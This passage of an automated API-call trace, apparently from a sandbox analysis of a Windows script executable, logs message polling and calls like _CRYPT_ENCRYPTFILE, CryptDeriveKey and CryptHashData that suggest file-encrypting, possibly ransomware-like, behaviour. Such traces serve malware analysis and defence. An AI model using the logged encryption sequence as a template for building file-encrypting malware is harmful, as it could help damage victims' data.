wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.700] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.700] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.700] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.700] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.700] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.700] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.700] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.701] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.701] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.701] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.701] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.701] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.701] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.701] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.701] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.701] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.701] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.702] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.702] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.702] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.702] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.702] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.702] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.702] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.703] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.703] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.703] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.703] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.703] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.703] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.703] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.703] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.703] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.703] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.704] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.704] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.704] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.704] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.709] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.709] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.709] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.709] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.711] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.711] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.711] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.711] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.711] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.711] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0027.711] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.712] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.712] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.712] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.712] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.712] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.712] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.712] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.713] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.713] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.713] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.713] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.713] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.713] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.713] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b480, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.713] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.713] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.713] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.713] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.713] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4061c30) returned 1 [0027.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.714] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.714] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, 